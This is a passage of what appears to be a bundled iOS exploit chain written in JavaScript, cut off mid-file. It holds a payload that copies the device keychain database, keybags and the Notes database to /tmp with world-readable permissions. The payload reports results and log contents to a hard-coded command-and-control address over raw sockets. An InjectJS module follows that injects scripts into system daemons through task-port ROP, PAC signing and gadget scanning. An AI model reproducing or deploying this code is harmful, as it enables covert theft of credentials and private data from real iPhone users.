= this.#toNative(x4);\n\t\tx5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6);\n\t\tx7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNullChar=true) {\n\t\tlet bytes8 = new Uint8Array(bytes);\n\t\tlet str = \"\";\n\t\tfor (let i=0; i= 0x1000) return 0n;\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, value);\n\t\t\tthis.#argPtr += BigInt(value.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\telse if (typeof value === 'bigint') return value;\n\t\telse return BigInt(value);\n\t}\n\n\tstatic #dlsym(name) {\n\t\tif (!name) return 0n;\n\t\tlet addr = this.#dlsymCache[name];\n\t\tif (addr) return addr;\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nameBytes = this.stringToBytes(name, true);\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tbuff8.set(new Uint8Array(nameBytes), 0x1000);\n\t\taddr = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (addr) this.#dlsymCache[name] = addr;\n\t\treturn addr;\n\t}\n\t\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\tlet buff = new BigInt64Array(nativeCallBuff);\n\t\tbuff[0] = addr;\n\t\tbuff[100] = x0;\n\t\tbuff[101] = x1;\n\t\tbuff[102] = x2;\n\t\tbuff[103] = x3;\n\t\tbuff[104] = x4;\n\t\tbuff[105] = x5;\n\t\tbuff[106] = x6;\n\t\tbuff[107] = x7;\n\t\tinvoker();\n\t\treturn buff[200];\n\t}\n\t\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\tconst funcAddr = this.#dlsym(name);\n\t\tconst ret64 = this.#nativeCallAddr(funcAddr, ...args);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn) return Number(ret64);\n\t\treturn ret64;\n\t}\n}\n\n// ============================================================================\n// Configuration\n// ============================================================================\n\nconst TAG = \"INFO\";\n\n// Destination directory for copied files\nconst DEST_DIR = \"/tmp\";\n\n// ============================================================================\n// Keychain and Keybag Files to Copy (iOS 18)\n// ============================================================================\n\nconst KEYCHAIN_FILES = [\n\t// Keychain database\n\t{ src: \"/private/var/Keychains/keychain-2.db\", dst: \"keychain-2.db\" },\n\t{ src: \"/private/var/Keychains/keychain-2.db-wal\", dst: \"keychain-2.db-wal\" },\n\t{ src: \"/private/var/Keychains/keychain-2.db-shm\", dst: \"keychain-2.db-shm\" },\n\t\n\t// Keybag files in /var/keybags\n\t{ src: \"/var/keybags/persona.kb\", dst: \"persona.kb\" },\n\t{ src: \"/var/keybags/usersession.kb\", dst: \"usersession.kb\" },\n\t{ src: \"/var/keybags/backup/backup_keys_cache.sqlite\", dst: \"backup_keys_cache.sqlite\" },\n\t{ src: \"/private/var/keybags/persona.kb\", dst: \"persona_private.kb\" },\n\t{ src: \"/private/var/keybags/usersession.kb\", dst: \"usersession_private.kb\" },\n\t\n\t// Keybag files in Keychains directory\n\t{ src: \"/private/var/Keychains/System.keybag\", dst: \"System.keybag\" },\n\t{ src: \"/private/var/Keychains/Backup.keybag\", dst: \"Backup.keybag\" },\n\t\n\t// Notes database\n\t{ src: \"/private/var/mobile/Library/Notes/notes.sqlite\", dst: \"notes.sqlite\" },\n\t{ src: \"/private/var/mobile/Library/Notes/notes.sqlite-wal\", dst: \"notes.sqlite-wal\" },\n\t{ src: \"/private/var/mobile/Library/Notes/notes.sqlite-shm\", dst: \"notes.sqlite-shm\" },\n\t{ src: \"/private/var/Keychains/persona.kb\", dst: \"persona_keychains.kb\" },\n\t{ src: \"/private/var/Keychains/usersession.kb\", dst: \"usersession_keychains.kb\" },\n\t{ src: \"/private/var/Keychains/device.kb\", dst: \"device.kb\" },\n];\n\n// ============================================================================\n// Helper Functions\n// ============================================================================\n\nfunction fileExists(filePath) {\n\tconst result = Native.callSymbol(\"access\", filePath, 0);\n\treturn Number(result) === 0;\n}\n\nfunction getFileSize(filePath) {\n\ttry {\n\t\tconst statBuf = Native.callSymbol(\"malloc\", BigInt(144));\n\t\tif (!statBuf || statBuf === 0n) return -1;\n\t\t\n\t\ttry {\n\t\t\tconst statResult = Native.callSymbol(\"stat\", filePath, statBuf);\n\t\t\tif (statResult !== 0) return -1;\n\t\t\t\n\t\t\tconst statData = Native.read(statBuf, 144);\n\t\t\tconst statView = new DataView(statData);\n\t\t\treturn Number(statView.getBigUint64(0x60, true));\n\t\t} finally {\n\t\t\tNative.callSymbol(\"free\", statBuf);\n\t\t}\n\t} catch (e) {\n\t\treturn -1;\n\t}\n}\n\n/**\n * Copy a file from src to dst with specified permissions\n */\nfunction copyFile(srcPath, dstPath, mode) {\n\ttry {\n\t\t// Check if source exists\n\t\tif (!fileExists(srcPath)) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tconst fileSize = getFileSize(srcPath);\n\t\tif (fileSize < 0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif (fileSize === 0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t// Open source for reading\n\t\tconst srcFd = Native.callSymbol(\"open\", srcPath, 0); // O_RDONLY\n\t\tif (Number(srcFd) < 0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\ttry {\n\t\t\t// Create/open destination for writing\n\t\t\t// O_WRONLY | O_CREAT | O_TRUNC = 0x601\n\t\t\tconst dstFd = Native.callSymbol(\"open\", dstPath, 0x601, mode);\n\t\t\tif (Number(dstFd) < 0) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t\ttry {\n\t\t\t\t// Copy in chunks\n\t\t\t\tconst chunkSize = 64 * 1024;\n\t\t\t\tlet totalCopied = 0;\n\t\t\t\t\n\t\t\t\twhile (totalCopied < fileSize) {\n\t\t\t\t\tconst remaining = fileSize - totalCopied;\n\t\t\t\t\tconst toRead = remaining > chunkSize ? chunkSize : remaining;\n\t\t\t\t\t\n\t\t\t\t\tconst buf = Native.callSymbol(\"malloc\", BigInt(toRead));\n\t\t\t\t\tif (!buf || buf === 0n) break;\n\t\t\t\t\t\n\t\t\t\t\ttry {\n\t\t\t\t\t\tconst bytesRead = Native.callSymbol(\"read\", srcFd, buf, toRead);\n\t\t\t\t\t\tif (Number(bytesRead) <= 0) break;\n\t\t\t\t\t\t\n\t\t\t\t\t\tconst bytesWritten = Native.callSymbol(\"write\", dstFd, buf, Number(bytesRead));\n\t\t\t\t\t\tif (Number(bytesWritten) <= 0) break;\n\t\t\t\t\t\t\n\t\t\t\t\t\ttotalCopied += Number(bytesWritten);\n\t\t\t\t\t} finally {\n\t\t\t\t\t\tNative.callSymbol(\"free\", buf);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Set permissions to 777 (0777 = 511 decimal)\n\t\t\t\tNative.callSymbol(\"chmod\", dstPath, mode);\n\t\t\t\t\n\t\t\t\treturn totalCopied > 0;\n\t\t\t\t\n\t\t\t} finally {\n\t\t\t\tNative.callSymbol(\"close\", dstFd);\n\t\t\t}\n\t\t} finally {\n\t\t\tNative.callSymbol(\"close\", srcFd);\n\t\t}\n\t\t\n\t} catch (e) {\n\t\treturn false;\n\t}\n}\n\n// ============================================================================\n// Main Execution\n// ============================================================================\n\nNative.init();\n\n\nvar __kcCopyDbOk = false;\nvar __kcCopyDbSz = -1;\nvar __kcCopySrcOk = false;\nvar __kcCopySrcSz = -1;\nvar __kcCopyOkN = 0;\nvar __kcCopyFailN = 0;\nvar __kcCopyExc = false;\n\ntry {\n\tfor (const file of KEYCHAIN_FILES) {\n\t\tconst srcPath = file.src;\n\t\tconst dstPath = DEST_DIR + \"/\" + file.dst;\n\n\t\t// Copy with 777 permissions (0777 = 511)\n\t\tif (copyFile(srcPath, dstPath, 511)) {\n\t\t\t__kcCopyOkN++;\n\t\t\tif (file.dst === \"keychain-2.db\") {\n\t\t\t\t__kcCopyDbOk = true;\n\t\t\t\t__kcCopyDbSz = getFileSize(dstPath);\n\t\t\t\t__kcCopySrcOk = fileExists(srcPath);\n\t\t\t\t__kcCopySrcSz = getFileSize(srcPath);\n\t\t\t\ttry { Native.callSymbol(\"chmod\", dstPath, 511); } catch (_c) {}\n\t\t\t}\n\t\t} else {\n\t\t\t__kcCopyFailN++;\n\t\t\tif (file.dst === \"keychain-2.db\") {\n\t\t\t\t__kcCopySrcOk = fileExists(srcPath);\n\t\t\t\t__kcCopySrcSz = getFileSize(srcPath);\n\t\t\t}\n\t\t}\n\t}\n} catch (e) {\n\t__kcCopyExc = true;\n}\n\n// ===== DEBUG uplink: ship /tmp/p7_debug.log tail to C2 via raw socket =====\n// Runs in configd (root) — can read /tmp even though mediaplaybackd cannot.\nfunction _dbgSockSend(tag) {\n\ttry {\n\t\tvar sfd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\t\tif (sfd < 0) return;\n\t\tvar one = Native.callSymbol(\"calloc\", 1, 8);\n\t\tNative.write(one, new Uint8Array([1,0,0,0]).buffer);\n\t\tNative.callSymbol(\"setsockopt\", sfd, 0xffff, 0x1022, one, 4);\n\t\tNative.callSymbol(\"free\", one);\n\t\tvar abuf = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar a8 = new Uint8Array(16);\n\t\ta8[0] = 16; a8[1] = 2; a8[2] = 0x1B; a8[3] = 0x6E; // port 7022 BE\n\t\ta8[4] = 192; a8[5] = 168; a8[6] = 4; a8[7] = 10;\n\t\tNative.write(abuf, a8.buffer);\n\t\tif (Number(Native.callSymbol(\"connect\", sfd, abuf, 16)) === 0) {\n\t\t\tvar safe = String(tag || \"\").replace(/=/g, \"-\").replace(/[^A-Za-z0-9._~\\-]/g, \"_\");\n\t\t\tvar req = \"GET /log.html?text=\" + safe + \" HTTP/1.0\\r\\nHost: mh0usocqzi6f46i.com\\r\\n\\r\\n\";\n\t\t\tvar rbuf = Native.callSymbol(\"malloc\", req.length + 1);\n\t\t\tNative.writeString(rbuf, req);\n\t\t\tNative.callSymbol(\"write\", sfd, rbuf, req.length);\n\t\t\tNative.callSymbol(\"free\", rbuf);\n\t\t}\n\t\tNative.callSymbol(\"close\", sfd);\n\t\tNative.callSymbol(\"free\", abuf);\n\t} catch(e) {}\n}\n\n// Notify MPD: ready=1 + path when keychain-2.db copy succeeded.\n// MPD must wait for this signal (not size>1MB), then sqlite3_open + securityd unwrap.\ntry {\n\t_dbgSockSend(\n\t\t\"kc_copy_db_ok=\" + (__kcCopyDbOk ? \"1\" : \"0\") +\n\t\t\"_sz=\" + __kcCopyDbSz +\n\t\t\"_src=\" + (__kcCopySrcOk ? \"1\" : \"0\") +\n\t\t\"_ssz=\" + __kcCopySrcSz +\n\t\t\"_ok=\" + __kcCopyOkN +\n\t\t\"_fail=\" + __kcCopyFailN +\n\t\t(__kcCopyExc ? \"_EXC\" : \"\")\n\t);\n} catch (_b) {}\ntry {\n\tvar __kcPath = DEST_DIR + \"/keychain-2.db\";\n\tvar st = \"ready=\" + (__kcCopyDbOk ? \"1\" : \"0\") +\n\t\t\" db_ok=\" + (__kcCopyDbOk ? \"1\" : \"0\") +\n\t\t\" path=\" + __kcPath +\n\t\t\" sz=\" + __kcCopyDbSz +\n\t\t\" src=\" + (__kcCopySrcOk ? \"1\" : \"0\") +\n\t\t\" ssz=\" + __kcCopySrcSz +\n\t\t\" ok=\" + __kcCopyOkN +\n\t\t\" fail=\" + __kcCopyFailN + \"\\n\";\n\tvar sfd2 = Number(Native.callSymbol(\"open\", \"/tmp/keychain_copier_status.txt\", 0x601, 511));\n\tif (sfd2 >= 0) {\n\t\tvar sbuf = Native.callSymbol(\"malloc\", BigInt(st.length + 1));\n\t\tNative.writeString(sbuf, st);\n\t\tNative.callSymbol(\"write\", sfd2, sbuf, st.length);\n\t\tNative.callSymbol(\"close\", sfd2);\n\t\tNative.callSymbol(\"free\", sbuf);\n\t\tNative.callSymbol(\"chmod\", \"/tmp/keychain_copier_status.txt\", 511);\n\t}\n\tif (__kcCopyDbOk) {\n\t\tvar gfd = Number(Native.callSymbol(\"open\", \"/tmp/keychain_mpd_go\", 0x601, 511));\n\t\tif (gfd >= 0) {\n\t\t\tvar gbuf = Native.callSymbol(\"malloc\", BigInt(__kcPath.length + 2));\n\t\t\tNative.writeString(gbuf, __kcPath + \"\\n\");\n\t\t\tNative.callSymbol(\"write\", gfd, gbuf, __kcPath.length + 1);\n\t\t\tNative.callSymbol(\"close\", gfd);\n\t\t\tNative.callSymbol(\"free\", gbuf);\n\t\t\tNative.callSymbol(\"chmod\", \"/tmp/keychain_mpd_go\", 511);\n\t\t}\n\t\t_dbgSockSend(\"kc_copy_READY_notify_mpd_path_\" + __kcPath.replace(/\\//g, \"_\"));\n\t}\n} catch (_s) {}\n\ntry {\n\tvar p7fd = Number(Native.callSymbol(\"open\", \"/tmp/p7_debug.log\", 0));\n\tif (p7fd < 0) {\n\t\t_dbgSockSend(\"kc_alive_p7log_MISSING\");\n\t} else {\n\t\tvar fend = Number(Native.callSymbol(\"lseek\", p7fd, 0, 2)); // SEEK_END\n\t\tvar fstart = fend > 1400 ? fend - 1400 : 0;\n\t\tNative.callSymbol(\"lseek\", p7fd, fstart, 0);\n\t\tvar rbuf2 = Native.callSymbol(\"malloc\", 1500);\n\t\tvar rn = Number(Native.callSymbol(\"read\", p7fd, rbuf2, 1400));\n\t\tNative.callSymbol(\"close\", p7fd);\n\t\tif (rn <= 0) {\n\t\t\t_dbgSockSend(\"kc_alive_p7log_EMPTY\");\n\t\t} else {\n\t\t\tvar d8 = new Uint8Array(Native.read(rbuf2, rn));\n\t\t\tvar hx = \"\";\n\t\t\tfor (var hi = 0; hi < d8.length; hi++) hx += (d8[hi] < 16 ? \"0\" : \"\") + d8[hi].toString(16);\n\t\t\tNative.callSymbol(\"free\", rbuf2);\n\t\t\t_dbgSockSend(\"kc_p7tail_\" + hx);\n\t\t}\n\t}\n} catch(e) {\n\ttry { _dbgSockSend(\"kc_p7tail_ERR\"); } catch(e2) {}\n}\n// ===== END DEBUG uplink =====\n\n\n"); + +/***/ }), + +/***/ "./src/InjectJS.js": +/*!*************************!*\ + !*** ./src/InjectJS.js ***! + \*************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ InjectJS) +/* harmony export */ }); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/TaskRop/RemoteCall */ "./src/libs/TaskRop/RemoteCall.js"); +/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); + + +const TAG = "INJECTJS"; + +const RTLD_LAZY = 0x1; +const RTLD_DEFAULT = 0xfffffffffffffffen; + +class InjectJS { + + task; + #target; + #injectCode; + #migFilterBypass; + #invokingAddr; + #JSContextClass; + #NSMethodSignatureClass; + #NSInvocationClass; + #invokeUsingIMPSel; + #pendingJsContext; + #pendingScriptStr; + + constructor(target, injectCode, migFilterBypass=null) { + this.#target = target; + this.#injectCode = injectCode; + this.#migFilterBypass = migFilterBypass; + this.#invokingAddr = this.#findInvoking(); + + this.#JSContextClass = Native.callSymbol("objc_getClass", "JSContext"); + this.#NSMethodSignatureClass = Native.callSymbol("objc_getClass", "NSMethodSignature"); + this.#NSInvocationClass = Native.callSymbol("objc_getClass", "NSInvocation"); + this.#invokeUsingIMPSel = Native.callSymbol("sel_registerName", "invokeUsingIMP:"); + + if (!this.#invokingAddr) + console.log(TAG, "Invoking not found!"); + } + + inject(agentPid=0, opts) { + if (!this.#invokingAddr) + return false; + + if (typeof(this.#target) == "string") { + console.log(TAG, `Start injecting JS script into ${this.#target}`); + + this.task = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_1__["default"](this.#target, this.#migFilterBypass); + if (!this.task.success()) { + console.log(TAG, "Unable to inject into: " + this.#target); + return false; + } + } + else { + console.log(TAG, `Start injecting JS script into existing task: ${this.#target.pid()}`); + + // Assume target is a RemoteCall object + this.task = this.#target; + if (!this.task.success()) { + console.log(TAG, "Unable to inject into existing task"); + return false; + } + } + + // Prepare remote JSC + script. By default evaluate immediately (legacy). + // Pass { deferStart: true } then applyTokens + startScript() so tokens land first. + if (!this.#startWithTask(agentPid)) + return false; + const defer = opts && opts.deferStart === true; + if (!defer) + this.startScript(); + return true; + } + + /** Begin deferred evaluateScript: (after Sandbox.applyTokensForRemoteTask). */ + startScript() { + if (!this.#pendingJsContext || !this.#pendingScriptStr) + return false; + console.log(TAG, "Starting JS script for target: " + this.#target); + this.#callObjcInBackground(this.#pendingJsContext, "evaluateScript:", this.#pendingScriptStr); + this.#pendingJsContext = null; + this.#pendingScriptStr = null; + console.log(TAG, "All done!"); + return true; + } + + destroy() { + this.#pendingJsContext = null; + this.#pendingScriptStr = null; + if (this.task && this.task.success()) + this.task.destroy(); + this.task = null; + } + + #startWithTask(agentPid) { + // RemoteCall failure paths historically returned Number 0; pointer math with 0xNNn + // then throws "Invalid mix of BigInt and other type in addition". Always coerce. + const mem = BigInt(this.task.mem() || 0); + if (!mem) { + console.log(TAG, "Remote mem unavailable"); + return false; + } + + // Sign __invoking__ function address + this.#invokingAddr = BigInt(this.task.pac(this.#invokingAddr, 0) || 0); + if (!this.#invokingAddr) { + console.log(TAG, "PAC of invoking failed"); + return false; + } + //console.log(TAG, "Signed invoking: " + Utils.hex(this.#invokingAddr)); + + this.task.writeStr(mem, "/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore"); + // configd cold-loads JSC; default remote wait (10s) is too tight on slower devices + const lib = BigInt(this.task.call(60000, "dlopen", mem, RTLD_LAZY) || 0); + //console.log(TAG, "lib: " + Utils.hex(lib)); + + // Create a JSC context and get pointer to exceptionHandler NSBlock + const jscontext = BigInt(this.#callObjcRetain(this.#JSContextClass, "new") || 0); + if (!jscontext) { + console.log(TAG, "JSContext new failed (lib=" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(lib) + ")"); + return false; + } + //console.log(TAG, "Remote JSC: " + Utils.hex(jscontext)); + + const exceptionHandler = this.task.read64(jscontext + 0x28n); + //console.log(TAG, "Exception handler: " + Utils.hex(exceptionHandler)); + + // Register an "invoker()" JS function within our JSC context, having exceptionHandler block as native implementation. + // We replace exceptionHandler NSInvocation later in this code. + const invokerStr = this.#writeCFStr(mem, "invoker"); + this.#callObjc(jscontext, "setObject:forKeyedSubscript:", exceptionHandler, invokerStr); + //console.log(TAG, "invokerStr: " + Utils.hex(invokerStr)); + + // Retrieve JSValue of invoker inside JSC context dict + const invoker = BigInt(this.#callObjc(jscontext, "objectForKeyedSubscript:", invokerStr) || 0); + if (!invoker) { + console.log(TAG, "invoker lookup failed"); + return false; + } + //console.log(TAG, "invoker: " + Utils.hex(invoker)); + + // Get pointer of NSInvocation inside NSBlock + const fjval = BigInt(this.task.read64(invoker + 0x8n) || 0); + const storval = BigInt(this.task.read64(fjval + 0x40n) || 0); + const invokerObj = BigInt(this.task.read64(storval + 0x10n) || 0); + if (!fjval || !storval) { + console.log(TAG, "invoker NSBlock walk failed"); + return false; + } + //console.log(TAG, "invokerObj: " + Utils.hex(invokerObj)); + + this.task.writeStr(mem, "QQQQQQQQQQQQQQQ"); + const lsignature = this.#callObjc(this.#NSMethodSignatureClass, "signatureWithObjCTypes:", mem); + + this.task.writeStr(mem, "@QQQQQQQQQQQQQQ"); + const osignature = this.#callObjc(this.#NSMethodSignatureClass, "signatureWithObjCTypes:", mem); + + // This is an utility NSInvocation object we share with JS to allow objc call with retained return object + const oinv = BigInt(this.#callObjcRetain(this.#NSInvocationClass, "invocationWithMethodSignature:", osignature) || 0); + + // This is the final NSInvocation object we use to call the actual target function + const inv = BigInt(this.#callObjcRetain(this.#NSInvocationClass, "invocationWithMethodSignature:", lsignature) || 0); + //console.log(TAG, "inv: " + Utils.hex(inv)); + + // Create a new NSInvocation and replace the NSBlock one with this + const jsinv = BigInt(this.#callObjcRetain(this.#NSInvocationClass, "invocationWithMethodSignature:", lsignature) || 0); + //console.log(TAG, "jsinv: " + Utils.hex(jsinv)); + if (!oinv || !inv || !jsinv) { + console.log(TAG, "NSInvocation setup failed"); + return false; + } + + const callBuff = BigInt(this.task.call(1000, "calloc", 1, 0x4000) || 0); + if (!callBuff) { + console.log(TAG, "calloc callBuff failed"); + return false; + } + const firstInvokingBuff = callBuff + 0x50n; // callBuff[10] + const argsBuff = callBuff + 0x320n; // callBuff[100] + const resultBuff = callBuff + 0x640n; // callBuff[200] + + //console.log(TAG, "callBuff: " + Utils.hex(callBuff)); + //console.log(TAG, "firstInvokingBuff: " + Utils.hex(firstInvokingBuff)); + //console.log(TAG, "argsBuff: " + Utils.hex(argsBuff)); + //console.log(TAG, "resultBuff: " + Utils.hex(resultBuff)); + + // Share callBuff with JS + this.task.writeStr(mem, "nativeCallBuff"); + const jsctx = BigInt(this.#callObjc(jscontext, "JSGlobalContextRef") || 0); + if (!jsctx) { + console.log(TAG, "JSGlobalContextRef failed"); + return false; + } + const nativeCallBuff = this.task.call(100, "JSObjectMakeArrayBufferWithBytesNoCopy", jsctx, callBuff, 0x4000); + const globalObject = this.task.call(100, "JSContextGetGlobalObject", jsctx); + const jsName = this.task.call(100, "JSStringCreateWithUTF8CString", mem); + this.task.call(100, "JSObjectSetProperty", jsctx, globalObject, jsName, nativeCallBuff); + + let localCallBuff = new BigUint64Array(33); + + // Second (final) __invoking__ arguments + localCallBuff[0] = 0x41414141n; // this should be overwritten at every function call + localCallBuff[1] = resultBuff; // Result buffer + localCallBuff[2] = argsBuff; // Arguments buffer + localCallBuff[3] = 0x120n; // args buff size. Do not touch! + + // First __invoking__ arguments + localCallBuff[10] = this.#invokingAddr; + localCallBuff[11] = resultBuff; + localCallBuff[12] = callBuff; + localCallBuff[13] = 0xe0n; + + // Some offsets we export to JS + localCallBuff[20] = callBuff; + localCallBuff[21] = this.task.pac( Native.callSymbol("dlsym", RTLD_DEFAULT, "dlsym"), 0 ); + localCallBuff[22] = this.task.pac( Native.callSymbol("dlsym", RTLD_DEFAULT, "memcpy"), 0 ); + localCallBuff[23] = this.task.pac( Native.callSymbol("dlsym", RTLD_DEFAULT, "malloc"), 0 ); + localCallBuff[24] = oinv; + localCallBuff[25] = jsctx; + localCallBuff[26] = true ? 1n : 0; // we pass true if DEBUG is set + localCallBuff[27] = 1n; + localCallBuff[28] = 0n; + localCallBuff[29] = 0n; + localCallBuff[30] = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].getKernelBase(); + let desiredPacGadget = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].getPaciaGadget(); + // retreiving correct modifier for 18.4 and above + if (globalThis.xnuVersion.major == 24 && globalThis.xnuVersion.minor >= 4) { + desiredPacGadget = Native.pacia(Native.strip(desiredPacGadget),0n); + } + localCallBuff[31] = desiredPacGadget; + localCallBuff[32] = BigInt(agentPid); + + //console.log(TAG, "dlsym: " + Utils.hex(localCallBuff[21])); + //console.log(TAG, "memcpy: " + Utils.hex(localCallBuff[22])); + //console.log(TAG, "malloc: " + Utils.hex(localCallBuff[23])); + + const nativeLocalBuff = Native.callSymbol("malloc", localCallBuff.byteLength); + Native.write(nativeLocalBuff, localCallBuff.buffer); + this.task.write(callBuff, nativeLocalBuff, localCallBuff.byteLength); + Native.callSymbol("free", nativeLocalBuff); + + this.#callObjc(inv, "setArgument:atIndex:", firstInvokingBuff, 0); + this.#callObjc(inv, "setArgument:atIndex:", firstInvokingBuff + 0x8n, 1); + this.#callObjc(inv, "setArgument:atIndex:", firstInvokingBuff + 0x10n, 2); + this.#callObjc(inv, "setArgument:atIndex:", firstInvokingBuff + 0x18n, 3); + + // This NSInvocation should in turn call the final NSInvocation we created before, + // but with fully controlled arguments + this.task.write64(mem, this.#invokingAddr); + this.#callObjc(jsinv, "setTarget:", inv); + this.#callObjc(jsinv, "setSelector:", this.#invokeUsingIMPSel); + this.#callObjc(jsinv, "setArgument:atIndex:", mem, 2); + + // Replace NSInvocation + this.task.write64(storval + 0x10n, jsinv); + this.task.write64(storval + 0x18n, 0n); + //console.log(TAG, "NSInvocation replaced"); + + // Write loader.js in remote task + //const loaderJS = "let buff = new BigUint64Array(this.nativeCallBuff); buff[0] = 0x41414141n; buff[100] = 0x11111111n; invoker();"; + console.log(TAG, "JS script length: " + this.#injectCode.length); + const scriptMem = BigInt(this.task.call(1000, "calloc", 1, this.#injectCode.length + 1) || 0); + if (!scriptMem) { + console.log(TAG, "calloc scriptMem failed"); + return false; + } + const scriptStr = this.#writeCFStr(scriptMem, this.#injectCode); + this.task.call(100, "free", scriptMem); + //console.log(TAG, "scriptStr: " + Utils.hex(scriptStr)); + + // Check if we write ok + // console.log(TAG,"Check if we write ok" ) + // const a = Native.callSymbol("malloc", this.#injectCode.length + 1); + // const len = this.#callObjc(scriptStr, "length"); + // console.log(TAG, len); + // const b = this.#callObjc(scriptStr, "UTF8String"); + // this.task.read(b, a, this.#injectCode.length + 1); + // const c = Native.readString(a, this.#injectCode.length); + // console.log(TAG, c); + + + //const loaderStr = this.#writeCFStr(mem, "loader"); + //this.#callObjc(jscontext, "setObject:forKeyedSubscript:", scriptStr, loaderStr); + //console.log(TAG, "loaderStr: " + Utils.hex(loaderStr)); + + // Defer evaluateScript until startScript() so tokens can be applied first. + this.#pendingJsContext = jscontext; + this.#pendingScriptStr = scriptStr; + console.log(TAG, "JS script prepared (deferred) for target: " + this.#target); + + return true; + } + + #findInvoking() { + //console.log(TAG, "Find 'invoking()'..."); + + let startAddr = BigInt(Native.dlsym("_CF_forwarding_prep_0") || 0); + startAddr = startAddr & 0x7fffffffffn; //Chain.strip(startAddr); + //console.log(TAG, "startAddr: " + Utils.hex(startAddr)); + + if (!startAddr) + return 0n; + + if (xnuVersion.major == 24 && xnuVersion.minor >= 5) + startAddr -= 0x2500n; + else + startAddr -= 0x4000n; + + const pattern = new Uint8Array([0x67, 0x1D, 0x40, 0xF9, 0x66, 0x19, 0x40, 0xF9, 0x65, 0x15, 0x40, 0xF9, 0x64, 0x11, 0x40, 0xF9]); + Native.write(Native.mem, pattern.buffer); + let foundAddr = BigInt(Native.callSymbol("memmem", startAddr, 0x4000, Native.mem, 16) || 0); + //console.log(TAG, "foundAddr: " + Utils.hex(foundAddr)); + + if (!foundAddr) { + // special case for iOS 17.4-17.4.1 + //console.log(TAG,`Didnt found invoking,trying to find it for special version`); + startAddr = BigInt(Native.dlsym("CFCharacterSetIsCharacterMember") || 0); + startAddr = startAddr & 0x7fffffffffn; + foundAddr = BigInt(Native.callSymbol("memmem", startAddr, 0x4000, Native.mem, 16) || 0); + //console.log(TAG,`foundAddr:${Utils.hex(foundAddr)}`); + if (!foundAddr) + return 0n; + } + + const buff = Native.read(foundAddr - BigInt(Native.memSize), Native.memSize); + const buff32 = new Uint32Array(buff); + + for (let i=buff32.length-1; i>=0; i--) { + foundAddr -= 0x4n; + if (buff32[i] == 0xd503237f) { + const found = foundAddr; + console.log(TAG, "Invoking found: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(found)); + return found; + } + } + + return 0n; + } + + #callObjc(obj, selName, ...args) { + const sel = Native.callSymbol("sel_registerName", selName); + // 30s: covers slow objc/JSC bring-up inside configd (was effectively 10s) + return this.task.call(30000, "objc_msgSend", obj, sel, ...args); + } + + #callObjcRetain(obj, selName, ...args) { + const ret = this.#callObjc(obj, selName, ...args); + this.#callObjc(ret, "retain"); + return ret; + } + + #callObjcInBackground(obj, selName, ...args) { + const performSelectorInBackground = Native.callSymbol("sel_registerName", "performSelectorInBackground:withObject:"); + const sel = Native.callSymbol("sel_registerName", selName); + return this.task.call(30000, "objc_msgSend", obj, performSelectorInBackground, sel, ...args); + } + + #writeCFStr(dst, str) { + const kCFStringEncodingUTF8 = 0x08000100; + this.task.writeStr(dst, str); + return this.task.call(100, "CFStringCreateWithCString", 0, dst, kCFStringEncodingUTF8); + } + + #printClass(obj) { + const cl = this.#callObjc(obj, "class"); + const desc = this.#callObjc(cl, "description"); + const str = this.#callObjc(desc, "UTF8String"); + this.task.read(str, Native.mem, 32); + const classDesc = Native.readString(Native.mem); + console.log(TAG, "class: " + classDesc); + } +} + + +/***/ }), + +/***/ "./src/libs/Chain/Chain.js": +/*!*********************************!*\ + !*** ./src/libs/Chain/Chain.js ***! + \*********************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ Chain) +/* harmony export */ }); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); + + +const TAG = "CHAIN" + +class Chain +{ + static #driver; + static #mutex; + + static init(driver, mutex=null) + { + this.#driver = driver; + this.#mutex = mutex; + } + + static destroy() + { + this.#driver.destroy(); + } + + static runPE() + { + return this.#driver.runPE(); + } + + static 